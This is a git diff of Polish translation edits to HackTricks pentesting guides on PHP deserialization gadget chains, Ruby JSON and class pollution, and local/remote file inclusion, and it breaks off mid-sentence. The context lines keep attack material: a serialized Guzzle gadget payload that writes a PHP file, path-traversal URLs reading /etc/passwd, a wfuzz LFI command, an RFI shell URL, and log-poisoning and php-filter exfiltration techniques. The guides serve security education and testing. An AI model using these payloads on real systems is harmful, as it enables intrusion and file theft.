a/src/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md b/src/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md index 4b54f8224..cba281de2 100644 --- a/src/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md +++ b/src/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md @@ -6,7 +6,7 @@ Najpierw powinieneś sprawdzić, czym są [**Autoloading Classes**](https://www. ## PHP deserializacja + spl_autoload_register + LFI/Gadget -Jesteśmy w sytuacji, w której znaleźliśmy **deserializację PHP w aplikacji webowej** bez **żadnej** biblioteki podatnej na gadżety w **`phpggc`**. Jednak w tym samym kontenerze była **inna aplikacja webowa z podatnymi bibliotekami**. Dlatego celem było **załadowanie loadera composera z innej aplikacji webowej** i wykorzystanie go do **załadowania gadżetu, który wykorzysta tę bibliotekę z gadżetem** z aplikacji webowej podatnej na deserializację. +Jesteśmy w sytuacji, w której znaleźliśmy **deserializację PHP w aplikacji webowej** bez **żadnej** biblioteki podatnej na gadżety w **`phpggc`**. Jednak w tym samym kontenerze była **inna aplikacja webowa z kompozytorem z podatnymi bibliotekami**. Dlatego celem było **załadowanie loadera kompozytora z innej aplikacji webowej** i wykorzystanie go do **załadowania gadżetu, który wykorzysta tę bibliotekę z gadżetem** z aplikacji webowej podatnej na deserializację. Kroki: @@ -48,14 +48,14 @@ W moim przypadku nie miałem nic takiego, ale w **tym samym kontenerze** była i ```php a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}} ``` -- Teraz możemy **tworzyć i zapisywać plik**, jednak użytkownik **nie mógł pisać w żadnym folderze wewnątrz serwera webowego**. Jak widać w ładunku, PHP wywołuje **`system`** z pewnym **base64**, który jest tworzony w **`/tmp/a.php`**. Następnie możemy **ponownie wykorzystać pierwszy typ ładunku**, którego użyliśmy jako LFI, aby załadować loader composera innej aplikacji webowej **do załadowania wygenerowanego pliku `/tmp/a.php`**. Po prostu dodaj go do gadżetu deserializacji: +- Teraz możemy **utworzyć i zapisać plik**, jednak użytkownik **nie mógł zapisać w żadnym folderze wewnątrz serwera webowego**. Jak widać w ładunku, PHP wywołuje **`system`** z pewnym **base64**, który jest tworzony w **`/tmp/a.php`**. Następnie możemy **ponownie wykorzystać pierwszy typ ładunku**, którego użyliśmy jako LFI, aby załadować loader composera innej aplikacji webowej **do załadowania wygenerowanego pliku `/tmp/a.php`**. Po prostu dodaj go do gadżetu deserializacji: ```php a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}} ``` **Podsumowanie ładunku** - **Załaduj autoload composera** innej aplikacji webowej w tym samym kontenerze -- **Załaduj gadżet phpggc** aby wykorzystać bibliotekę z innej aplikacji webowej (początkowa aplikacja webowa podatna na deserializację nie miała żadnych gadżetów w swoich bibliotekach) +- **Załaduj gadżet phpggc** aby wykorzystać bibliotekę z innej aplikacji webowej (początkowa aplikacja webowa podatna na deserializację nie miała żadnego gadżetu w swoich bibliotekach) - Gadżet **utworzy plik z ładunkiem PHP** w /tmp/a.php z złośliwymi poleceniami (użytkownik aplikacji webowej nie może pisać w żadnym folderze żadnej aplikacji webowej) - Ostatnia część naszego ładunku użyje **załaduj wygenerowany plik php**, który wykona polecenia diff --git a/src/pentesting-web/deserialization/ruby-_json-pollution.md b/src/pentesting-web/deserialization/ruby-_json-pollution.md index 12d785d3d..80f30067f 100644 --- a/src/pentesting-web/deserialization/ruby-_json-pollution.md +++ b/src/pentesting-web/deserialization/ruby-_json-pollution.md @@ -6,7 +6,7 @@ To jest podsumowanie z posta [https://nastystereo.com/security/rails-_json-juggl ## Podstawowe informacje -Podczas wysyłania w ciele niektórych wartości, które nie są haszowalne, jak tablica, zostaną one dodane do nowego klucza o nazwie `_json`. Jednakże, atakujący może również ustawić w ciele wartość o nazwie `_json` z dowolnymi wartościami, które chce. Następnie, jeśli backend na przykład sprawdza prawdziwość parametru, ale następnie również używa parametru `_json` do wykonania jakiejś akcji, może dojść do obejścia autoryzacji. +Podczas wysyłania w ciele niektórych wartości, które nie są haszowalne, takich jak tablica, zostaną one dodane do nowego klucza o nazwie `_json`. Jednakże, atakujący może również ustawić w ciele wartość o nazwie `_json` z dowolnymi wartościami, które chce. Następnie, jeśli backend na przykład sprawdza prawdziwość parametru, ale następnie również używa parametru `_json` do wykonania jakiejś akcji, może dojść do obejścia autoryzacji. ```json { "id": 123, diff --git a/src/pentesting-web/deserialization/ruby-class-pollution.md b/src/pentesting-web/deserialization/ruby-class-pollution.md index 35a6bfa75..277792345 100644 --- a/src/pentesting-web/deserialization/ruby-class-pollution.md +++ b/src/pentesting-web/deserialization/ruby-class-pollution.md @@ -144,15 +144,15 @@ JSONMergerApp.run(json_input) ### Wyjaśnienie 1. **Escalacja uprawnień**: Metoda `authorize` sprawdza, czy `to_s` zwraca "Admin." Poprzez wstrzyknięcie nowego atrybutu `to_s` za pomocą JSON, atakujący może sprawić, że metoda `to_s` zwróci "Admin", przyznając nieautoryzowane uprawnienia. -2. **Wykonanie zdalnego kodu**: W `health_check`, `instance_eval` wykonuje metody wymienione w `protected_methods`. Jeśli atakujący wstrzyknie niestandardowe nazwy metod (jak `"puts 1"`), `instance_eval` je wykona, prowadząc do **wykonania zdalnego kodu (RCE)**. +2. **Zdalne wykonanie kodu**: W `health_check`, `instance_eval` wykonuje metody wymienione w `protected_methods`. Jeśli atakujący wstrzyknie niestandardowe nazwy metod (jak `"puts 1"`), `instance_eval` je wykona, prowadząc do **zdalnego wykonania kodu (RCE)**. 1. To jest możliwe tylko dlatego, że istnieje **wrażliwa instrukcja `eval`** wykonująca wartość stringową tego atrybutu. -3. **Ograniczenie wpływu**: Ta podatność dotyczy tylko pojedynczych instancji, pozostawiając inne instancje `User` i `Admin` nietknięte, co ogranicza zakres eksploatacji. +3. **Ograniczenie wpływu**: Ta luka wpływa tylko na pojedyncze instancje, pozostawiając inne instancje `User` i `Admin` nietknięte, co ogranicza zakres eksploatacji. ### Przykłady z rzeczywistego świata ### `deep_merge` ActiveSupport -To nie jest podatne domyślnie, ale może być uczynione podatnym na coś takiego: +To nie jest wrażliwe domyślnie, ale może być uczynione wrażliwym przy użyciu czegoś takiego: ```ruby # Method to merge additional data into the object using ActiveSupport deep_merge def merge_with(other_object) @@ -248,7 +248,7 @@ JSONMergerApp.run(json_input) ``` ## Zatrucie klas -W następującym przykładzie możliwe jest znalezienie klasy **`Person`**, a także klas **`Admin`** i **`Regular`**, które dziedziczą po klasie **`Person`**. Posiada również inną klasę o nazwie **`KeySigner`**: +W następującym przykładzie możliwe jest znalezienie klasy **`Person`**, oraz klas **`Admin`** i **`Regular`**, które dziedziczą po klasie **`Person`**. Posiada również inną klasę o nazwie **`KeySigner`**: ```ruby require 'json' require 'sinatra/base' diff --git a/src/pentesting-web/file-inclusion/README.md b/src/pentesting-web/file-inclusion/README.md index c0067e8b1..182710347 100644 --- a/src/pentesting-web/file-inclusion/README.md +++ b/src/pentesting-web/file-inclusion/README.md @@ -1,19 +1,19 @@ -# File Inclusion/Path traversal +# Włączenie pliku/Przechodzenie ścieżki {{#include ../../banners/hacktricks-training.md}} -## File Inclusion +## Włączenie pliku -**Remote File Inclusion (RFI):** Plik jest ładowany z zdalnego serwera (Najlepiej: Możesz napisać kod, a serwer go wykona). W php jest to **wyłączone** domyślnie (**allow_url_include**).\ -**Local File Inclusion (LFI):** Serwer ładuje lokalny plik. +**Zdalne włączenie pliku (RFI):** Plik jest ładowany z zdalnego serwera (Najlepiej: Możesz napisać kod, a serwer go wykona). W php jest to **wyłączone** domyślnie (**allow_url_include**).\ +**Lokalne włączenie pliku (LFI):** Serwer ładuje lokalny plik. Luka występuje, gdy użytkownik może w jakiś sposób kontrolować plik, który ma być załadowany przez serwer. -Vulnerable **PHP functions**: require, require_once, include, include_once +Vulnerable **funkcje PHP**: require, require_once, include, include_once Interesujące narzędzie do wykorzystania tej luki: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) -## Blind - Interesting - LFI2RCE files +## Blind - Interesujące - LFI2RCE files ```python wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ ``` @@ -45,7 +45,7 @@ Sprawdź listę LFI dla linux. ## Podstawowe LFI i obejścia -Wszystkie przykłady dotyczą Local File Inclusion, ale mogą być również stosowane do Remote File Inclusion (strona=[http://myserver.com/phpshellcode.txt\\](). +Wszystkie przykłady dotyczą Local File Inclusion, ale mogą być również zastosowane do Remote File Inclusion (strona=[http://myserver.com/phpshellcode.txt\\](). ``` http://example.com/index.php?page=../../../etc/passwd ``` @@ -82,16 +82,16 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd System plików serwera można badać rekurencyjnie, aby zidentyfikować katalogi, a nie tylko pliki, stosując określone techniki. Proces ten polega na określeniu głębokości katalogu i sprawdzeniu istnienia konkretnych folderów. Poniżej znajduje się szczegółowa metoda, aby to osiągnąć: -1. **Określenie głębokości katalogu:** Ustal głębokość swojego bieżącego katalogu, skutecznie pobierając plik `/etc/passwd` (dotyczy to serwerów opartych na Linuksie). Przykładowy adres URL może być skonstruowany w następujący sposób, wskazując głębokość równą trzem: +1. **Określenie głębokości katalogu:** Ustal głębokość swojego bieżącego katalogu, skutecznie pobierając plik `/etc/passwd` (dotyczy to serwerów opartych na Linuksie). Przykładowy adres URL może być skonstruowany w następujący sposób, wskazując na głębokość trzy: ```bash http://example.com/index.php?page=../../../etc/passwd # depth of 3 ``` -2. **Skanowanie folderów:** Dołącz nazwę podejrzanego folderu (np. `private`) do URL, a następnie wróć do `/etc/passwd`. Dodatkowy poziom katalogu wymaga zwiększenia głębokości o jeden: +2. **Skanowanie folderów:** Dołącz nazwę podejrzanego folderu (np. `private`) do URL, a następnie przejdź z powrotem do `/etc/passwd`. Dodatkowy poziom katalogu wymaga zwiększenia głębokości o jeden: ```bash http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4 ``` 3. **Interpretacja wyników:** Odpowiedź serwera wskazuje, czy folder istnieje: -- **Błąd / Brak wyjścia:** Folder `private` prawdopodobnie nie istnieje w określonej lokalizacji. +- **Błąd / Brak wyniku:** Folder `private` prawdopodobnie nie istnieje w określonej lokalizacji. - **Zawartość `/etc/passwd`:** Obecność folderu `private` jest potwierdzona. 4. **Rekurencyjna eksploracja:** Odkryte foldery można dalej badać pod kątem podkatalogów lub plików, używając tej samej techniki lub tradycyjnych metod Local File Inclusion (LFI). @@ -101,7 +101,7 @@ http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd ``` ### **Technika Truncacji Ścieżki** -Truncacja ścieżki to metoda stosowana do manipulacji ścieżkami plików w aplikacjach internetowych. Często jest używana do uzyskiwania dostępu do zastrzeżonych plików poprzez obejście pewnych środków bezpieczeństwa, które dodają dodatkowe znaki na końcu ścieżek plików. Celem jest stworzenie ścieżki pliku, która, po zmianie przez środek bezpieczeństwa, nadal wskazuje na pożądany plik. +Truncacja ścieżki to metoda stosowana do manipulacji ścieżkami plików w aplikacjach internetowych. Często jest używana do uzyskiwania dostępu do zastrzeżonych plików poprzez obejście pewnych środków bezpieczeństwa, które dodają dodatkowe znaki na końcu ścieżek plików. Celem jest skonstruowanie ścieżki pliku, która, po zmianie przez środek bezpieczeństwa, nadal wskazuje na pożądany plik. W PHP różne reprezentacje ścieżki pliku mogą być uważane za równoważne z powodu natury systemu plików. Na przykład: @@ -162,7 +162,7 @@ W Pythonie w kodzie takim jak ten: # file_name is controlled by a user os.path.join(os.getcwd(), "public", file_name) ``` -Jeśli użytkownik przekaże **absolutną ścieżkę** do **`file_name`**, **poprzednia ścieżka zostanie po prostu usunięta**: +Jeśli użytkownik przekaże **ścieżkę absolutną** do **`file_name`**, **poprzednia ścieżka jest po prostu usuwana**: ```python os.path.join(os.getcwd(), "public", "/etc/passwd") '/etc/passwd' @@ -173,11 +173,11 @@ To jest zamierzona funkcjonalność zgodnie z [dokumentacją](https://docs.pytho ## Java Lista Katalogów -Wygląda na to, że jeśli masz Path Traversal w Javie i **prosisz o katalog** zamiast pliku, **zwracana jest lista katalogu**. To nie zdarzy się w innych językach (o ile mi wiadomo). +Wygląda na to, że jeśli masz Path Traversal w Javie i **prosisz o katalog** zamiast pliku, **zwracana jest lista katalogu**. To nie będzie miało miejsca w innych językach (o ile mi wiadomo). ## 25 najważniejszych parametrów -Oto lista 25 najważniejszych parametrów, które mogą być podatne na lokalne włączenie pliku (LFI) (z [link](https://twitter.com/trbughunters/status/1279768631845494787)): +Oto lista 25 najważniejszych parametrów, które mogą być podatne na lokalne luki w włączeniu plików (LFI) (z [link](https://twitter.com/trbughunters/status/1279768631845494787)): ``` ?cat={payload} ?dir={payload} @@ -225,7 +225,7 @@ Filtry PHP pozwalają na podstawowe **operacje modyfikacji danych** przed ich od - `convert.iconv.*` : Przekształca do innego kodowania (`convert.iconv..`). Aby uzyskać **listę wszystkich obsługiwanych kodowań**, uruchom w konsoli: `iconv -l` > [!WARNING] -> Nadużywając filtru konwersji `convert.iconv.*`, możesz **generować dowolny tekst**, co może być przydatne do pisania dowolnego tekstu lub do stworzenia funkcji, która przetwarza dowolny tekst. Więcej informacji znajdziesz w [**LFI2RCE za pomocą filtrów PHP**](lfi2rce-via-php-filters.md). +> Nadużywając filtru konwersji `convert.iconv.*`, możesz **generować dowolny tekst**, co może być przydatne do pisania dowolnego tekstu lub do stworzenia funkcji, która włącza proces dowolnego tekstu. Więcej informacji znajdziesz w [**LFI2RCE za pomocą filtrów php**](lfi2rce-via-php-filters.md). - [Filtry kompresji](https://www.php.net/manual/en/filters.compression.php) - `zlib.deflate`: Kompresuje zawartość (przydatne, jeśli eksfiltrujesz dużo informacji) @@ -234,7 +234,7 @@ Filtry PHP pozwalają na podstawowe **operacje modyfikacji danych** przed ich od - `mcrypt.*` : Przestarzałe - `mdecrypt.*` : Przestarzałe - Inne filtry -- Uruchamiając w PHP `var_dump(stream_get_filters());`, możesz znaleźć kilka **nieoczekiwanych filtrów**: +- Uruchamiając w php `var_dump(stream_get_filters());`, możesz znaleźć kilka **nieoczekiwanych filtrów**: - `consumed` - `dechunk`: odwraca kodowanie HTTP chunked - `convert.*` @@ -267,27 +267,27 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the > [!WARNING] > Część "php://filter" jest nieczuła na wielkość liter -### Używanie filtrów php jako oracle do odczytu dowolnych plików +### Używanie filtrów php jako orakula do odczytu dowolnych plików -[**W tym poście**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) zaproponowano technikę odczytu lokalnego pliku bez zwracania wyniku z serwera. Technika ta opiera się na **boolean exfiltration pliku (znak po znaku) przy użyciu filtrów php** jako oracle. Dzieje się tak, ponieważ filtry php mogą być używane do powiększenia tekstu na tyle, aby php zgłosił wyjątek. +[**W tym poście**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) zaproponowano technikę odczytu lokalnego pliku bez zwracania wyniku z serwera. Technika ta opiera się na **boole'owskiej eksfiltracji pliku (znak po znaku) przy użyciu filtrów php** jako orakula. Dzieje się tak, ponieważ filtry php mogą być używane do powiększenia tekstu na tyle, aby php zgłosił wyjątek. W oryginalnym poście można znaleźć szczegółowe wyjaśnienie techniki, ale oto szybkie podsumowanie: - Użyj kodeka **`UCS-4LE`**, aby pozostawić wiodący znak tekstu na początku i sprawić, że rozmiar ciągu wzrośnie wykładniczo. - To będzie używane do generowania **tekstu tak dużego, gdy początkowa litera jest poprawnie odgadnięta**, że php wywoła **błąd**. - Filtr **dechunk** **usunie wszystko, jeśli pierwszy znak nie jest szesnastkowy**, więc możemy wiedzieć, czy pierwszy znak jest szesnastkowy. -- To, w połączeniu z poprzednim (i innymi filtrami w zależności od odgadniętej litery), pozwoli nam odgadnąć literę na początku tekstu, widząc, kiedy wykonujemy wystarczająco dużo transformacji, aby nie była znakiem szesnastkowym. Ponieważ jeśli jest szesnastkowy, dechunk go nie usunie, a początkowa bomba spowoduje błąd php. +- To, w połączeniu z poprzednim (i innymi filtrami w zależności od odgadniętej litery), pozwoli nam odgadnąć literę na początku tekstu, widząc, kiedy wykonujemy wystarczająco dużo transformacji, aby przestała być znakiem szesnastkowym. Ponieważ jeśli jest szesnastkowy, dechunk go nie usunie, a początkowa bomba spowoduje błąd php. - Kodek **convert.iconv.UNICODE.CP930** przekształca każdą literę w następną (więc po tym kodeku: a -> b). To pozwala nam odkryć, czy pierwsza litera to `a`, na przykład, ponieważ jeśli zastosujemy 6 z tego kodeka a->b->c->d->e->f->g, litera nie jest już znakiem szesnastkowym, dlatego dechunk jej nie usunął, a błąd php jest wywoływany, ponieważ mnoży się z początkową bombą. - Używając innych transformacji, takich jak **rot13** na początku, możliwe jest wycieknięcie innych znaków, takich jak n, o, p, q, r (i inne kodeki mogą być używane do przesuwania innych liter do zakresu szesnastkowego). - Gdy początkowy znak jest liczbą, należy go zakodować w base64 i wyciekować 2 pierwsze litery, aby wyciekła liczba. -- Ostatecznym problemem jest zobaczenie **jak wyciekować więcej niż początkowa litera**. Używając filtrów pamięci w kolejności, takich jak **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**, możliwe jest zmienienie kolejności znaków i uzyskanie na pierwszej pozycji innych liter tekstu. +- Ostatecznym problemem jest zobaczenie **jak wyciekować więcej niż początkowa litera**. Używając filtrów pamięci w porządku, takich jak **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**, możliwe jest zmienienie kolejności znaków i uzyskanie na pierwszej pozycji innych liter tekstu. - A aby móc uzyskać **dalsze dane**, pomysł polega na **generowaniu 2 bajtów danych śmieciowych na początku** przy użyciu **convert.iconv.UTF16.UTF16**, zastosowaniu **UCS-4LE**, aby **pivotować z następnymi 2 bajtami**, i **usunąć dane aż do danych śmieciowych** (to usunie pierwsze 2 bajty początkowego tekstu). Kontynuuj to, aż osiągniesz pożądany bit do wycieku. W poście wyciekło również narzędzie do automatycznego wykonania tego: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). ### php://fd -Ten wrapper pozwala na dostęp do deskryptorów plików, które proces ma otwarte. Potencjalnie przydatne do wycieknięcia zawartości otwartych plików: +Ten wrapper pozwala na dostęp do deskryptorów plików, które proces ma otwarte. Potencjalnie przydatne do eksfiltracji zawartości otwartych plików: ```php echo file_get_contents("php://fd/3"); $myfile = fopen("/etc/passwd", "r"); @@ -366,7 +366,7 @@ phar-deserialization.md ### CVE-2024-2961 -Można było nadużyć **dowolnego pliku odczytywanego z PHP, który obsługuje filtry php**, aby uzyskać RCE. Szczegółowy opis można [**znaleźć w tym poście**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\ +Można było nadużyć **dowolnego pliku odczytywanego z PHP, który obsługuje filtry PHP**, aby uzyskać RCE. Szczegółowy opis można [**znaleźć w tym poście**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\ Bardzo szybkie podsumowanie: nadużyto **przepełnienia o 3 bajty** w stercie PHP, aby **zmienić łańcuch wolnych kawałków** o określonym rozmiarze, aby móc **zapisać cokolwiek w dowolnym adresie**, więc dodano hook do wywołania **`system`**.\ Można było alokować kawałki o określonych rozmiarach, nadużywając więcej filtrów PHP. @@ -383,9 +383,9 @@ Sprawdź więcej możliwych [**protokołów do uwzględnienia tutaj**](https://w - [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2 - [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Strumienie audio (Nieprzydatne do odczytu dowolnych plików) -## LFI przez 'assert' PHP +## LFI za pomocą 'assert' PHP -Ryzyko Local File Inclusion (LFI) w PHP jest szczególnie wysokie w przypadku funkcji 'assert', która może wykonywać kod w ramach ciągów. Jest to szczególnie problematyczne, jeśli dane wejściowe zawierają znaki przechodzenia przez katalogi, takie jak "..", które są sprawdzane, ale nie są odpowiednio oczyszczane. +Ryzyko Local File Inclusion (LFI) w PHP jest szczególnie wysokie w przypadku funkcji 'assert', która może wykonywać kod w ramach ciągów. Jest to szczególnie problematyczne, jeśli dane wejściowe zawierające znaki przechodzenia przez katalogi, takie jak "..", są sprawdzane, ale nie są odpowiednio oczyszczane. Na przykład, kod PHP może być zaprojektowany w celu zapobiegania przechodzeniu przez katalogi w ten sposób: ```bash @@ -406,7 +406,7 @@ Ważne jest, aby **zakodować te ładunki URL**. > [!WARNING] > Ta technika jest istotna w przypadkach, gdy **kontrolujesz** **ścieżkę pliku** funkcji **PHP**, która **uzyskuje dostęp do pliku**, ale nie zobaczysz zawartości pliku (jak proste wywołanie **`file()`**), ale zawartość nie jest wyświetlana. -W [**tym niesamowitym poście**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) wyjaśniono, jak można nadużyć ślepego przejścia przez ścieżkę za pomocą filtra PHP, aby **wyekstrahować zawartość pliku za pomocą orakla błędów**. +W [**tym niesamowitym poście**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) wyjaśniono, jak można nadużyć ślepego przejścia przez ścieżkę za pomocą filtra PHP, aby **wyekstrahować zawartość pliku za pomocą błędnego orakula**. Podsumowując, technika polega na użyciu **kodowania "UCS-4LE"**, aby zawartość pliku była tak **duża**, że **funkcja PHP otwierająca** plik spowoduje **błąd**. @@ -424,14 +424,14 @@ Wyjaśnione wcześniej, [**śledź ten link**](./#remote-file-inclusion). ### Poprzez plik dziennika Apache/Nginx -Jeśli serwer Apache lub Nginx jest **podatny na LFI**, wewnątrz funkcji include możesz spróbować uzyskać dostęp do **`/var/log/apache2/access.log` lub `/var/log/nginx/access.log`**, ustawiając w **user agent** lub w **parametrze GET** powłokę PHP, taką jak **``** i dołączyć ten plik. +Jeśli serwer Apache lub Nginx jest **podatny na LFI**, wewnątrz funkcji include możesz spróbować uzyskać dostęp do **`/var/log/apache2/access.log` lub `/var/log/nginx/access.log`**, ustawiając w **user agent** lub w **parametrze GET** powłokę php, taką jak **``** i dołączyć ten plik. > [!WARNING] > Zauważ, że **jeśli używasz podwójnych cudzysłowów** dla powłoki zamiast **pojedynczych cudzysłowów**, podwójne cudzysłowy zostaną zmodyfikowane na ciąg "_**quote;**_", **PHP zgłosi błąd** w tym miejscu i **nic innego nie zostanie wykonane**. > > Upewnij się również, że **poprawnie zapisujesz ładunek**, w przeciwnym razie PHP zgłosi błąd za każdym razem, gdy spróbuje załadować plik dziennika i nie będziesz miał drugiej szansy. -Można to również zrobić w innych dziennikach, ale **bądź ostrożny**, kod wewnątrz dzienników może być zakodowany URL i to może zniszczyć powłokę. Nagłówek **autoryzacji "basic"** zawiera "user:password" w Base64 i jest dekodowany wewnątrz dzienników. PHPShell może być wstawiony w tym nagłówku.\ +Można to również zrobić w innych dziennikach, ale **bądź ostrożny**, kod wewnątrz dzienników może być zakodowany URL i to może zniszczyć powłokę. Nagłówek **autoryzacji "basic"** zawiera "user:password" w Base64 i jest dekodowany wewnątrz dzienników. PHPShell można wstawić do tego nagłówka.\ Inne możliwe ścieżki dzienników: ```python /var/log/apache2/access.log @@ -464,7 +464,7 @@ User-Agent: ``` ### Via upload -Jeśli możesz przesłać plik, po prostu wstrzyknij ładunek powłoki w nim (np: ``). +Jeśli możesz przesłać plik, po prostu wstrzyknij ładunek powłoki w nim (np. ``). ``` http://example.com/index.php?page=path/to/uploaded/file.png ``` @@ -504,7 +504,7 @@ Jeśli ssh jest aktywne, sprawdź, który użytkownik jest używany (/proc/self/ Logi dla serwera FTP vsftpd znajdują się w _**/var/log/vsftpd.log**_. W scenariuszu, w którym istnieje luka Local File Inclusion (LFI) i możliwy jest dostęp do wystawionego serwera vsftpd, można rozważyć następujące kroki: -1. Wstrzyknij ładunek PHP w pole nazwy użytkownika podczas procesu logowania. +1. Wstrzyknij ładunek PHP do pola nazwy użytkownika podczas procesu logowania. 2. Po wstrzyknięciu, wykorzystaj LFI, aby pobrać logi serwera z _**/var/log/vsftpd.log**_. ### Via php base64 filter (using base64) @@ -517,7 +517,7 @@ NOTE: the payload is "" ``` ### Via php filters (no file needed) -Ten [**artykuł**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) wyjaśnia, że możesz użyć **filtrów php do generowania dowolnej zawartości** jako wyjścia. Co zasadniczo oznacza, że możesz **generować dowolny kod php** do włączenia **bez potrzeby zapisywania** go w pliku. +Ten [**artykuł**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) wyjaśnia, że możesz użyć **filtrów php do generowania dowolnej treści** jako wyjścia. Co zasadniczo oznacza, że możesz **generować dowolny kod php** do włączenia **bez potrzeby zapisywania** go w pliku. {{#ref}} lfi2rce-via-php-filters.md @@ -541,7 +541,7 @@ lfi2rce-via-nginx-temp-files.md ### Via PHP_SESSION_UPLOAD_PROGRESS -Jeśli znalazłeś **Local File Inclusion**, nawet jeśli **nie masz sesji** i `session.auto_start` jest `Off`. Jeśli dostarczysz **`PHP_SESSION_UPLOAD_PROGRESS`** w **danych POST multipart**, PHP **włączy sesję dla Ciebie**. Możesz to wykorzystać, aby uzyskać RCE: +Jeśli znalazłeś **Local File Inclusion**, nawet jeśli **nie masz sesji** i `session.auto_start` jest `Off`. Jeśli dostarczysz **`PHP_SESSION_UPLOAD_PROGRESS`** w **danych POST multipart**, PHP **włączy sesję dla ciebie**. Możesz to wykorzystać, aby uzyskać RCE: {{#ref}} via-php_session_upload_progress.md @@ -557,7 +557,7 @@ lfi2rce-via-temp-file-uploads.md ### Via `pearcmd.php` + URL args -Jak [**wyjaśniono w tym poście**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), skrypt `/usr/local/lib/phppearcmd.php` istnieje domyślnie w obrazach dockera php. Co więcej, możliwe jest przekazywanie argumentów do skryptu za pomocą URL, ponieważ wskazano, że jeśli parametr URL nie ma `=`, powinien być użyty jako argument. +Jak [**wyjaśniono w tym poście**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), skrypt `/usr/local/lib/phppearcmd.php` istnieje domyślnie w obrazach docker php. Co więcej, możliwe jest przekazywanie argumentów do skryptu za pomocą URL, ponieważ wskazano, że jeśli parametr URL nie ma `=`, powinien być użyty jako argument. Następujące żądanie tworzy plik w `/tmp/hello.php` z zawartością ``: ```bash diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md b/src/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md index d7bea1611..87dcd5674 100644 --- a/src/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md +++ b/src/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md @@ -1,10 +1,10 @@ -# LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure +# LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STDIO + Path Disclosure {{#include ../../banners/hacktricks-training.md}} ### `compress.zlib://` i `PHP_STREAM_PREFER_STDIO` -Plik otwarty za pomocą protokołu `compress.zlib://` z flagą `PHP_STREAM_PREFER_STDIO` może kontynuować zapisywanie danych, które przychodzą do połączenia później do tego samego pliku. +Plik otwarty za pomocą protokołu `compress.zlib://` z flagą `PHP_STREAM_PREFER_STDIO` może kontynuować zapisywanie danych, które przychodzą do połączenia później, do tego samego pliku. To oznacza, że wywołanie takie jak: ```php diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md b/src/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md index 2d107c8a5..a6fe336ce 100644 --- a/src/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md +++ b/src/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md @@ -33,15 +33,15 @@ W tej technice **musimy tylko kontrolować względną ścieżkę**. Jeśli uda n **Główne problemy** tej techniki to: -- Potrzebujesz, aby konkretny plik(y) były obecne (może być ich więcej) +- Potrzebujesz, aby konkretne plik(i) były obecne (może być ich więcej) - **Szaleńska** ilość potencjalnych nazw plików: **56800235584** - Jeśli serwer **nie używa cyfr**, całkowita potencjalna ilość wynosi: **19770609664** - Domyślnie **tylko 20 plików** może być przesłanych w **jednym żądaniu**. - **Maksymalna liczba równoległych pracowników** używanego serwera. - Ten limit w połączeniu z poprzednimi może sprawić, że atak będzie trwał zbyt długo -- **Limit czasu dla żądania PHP**. Idealnie powinien być wieczny lub powinien zabić proces PHP bez usuwania tymczasowo przesłanych plików, w przeciwnym razie będzie to również problem +- **Limit czasu dla żądania PHP**. Idealnie powinien być wieczny lub powinien zabić proces PHP bez usuwania przesłanych plików tymczasowych, w przeciwnym razie będzie to również problem -Więc, jak możesz 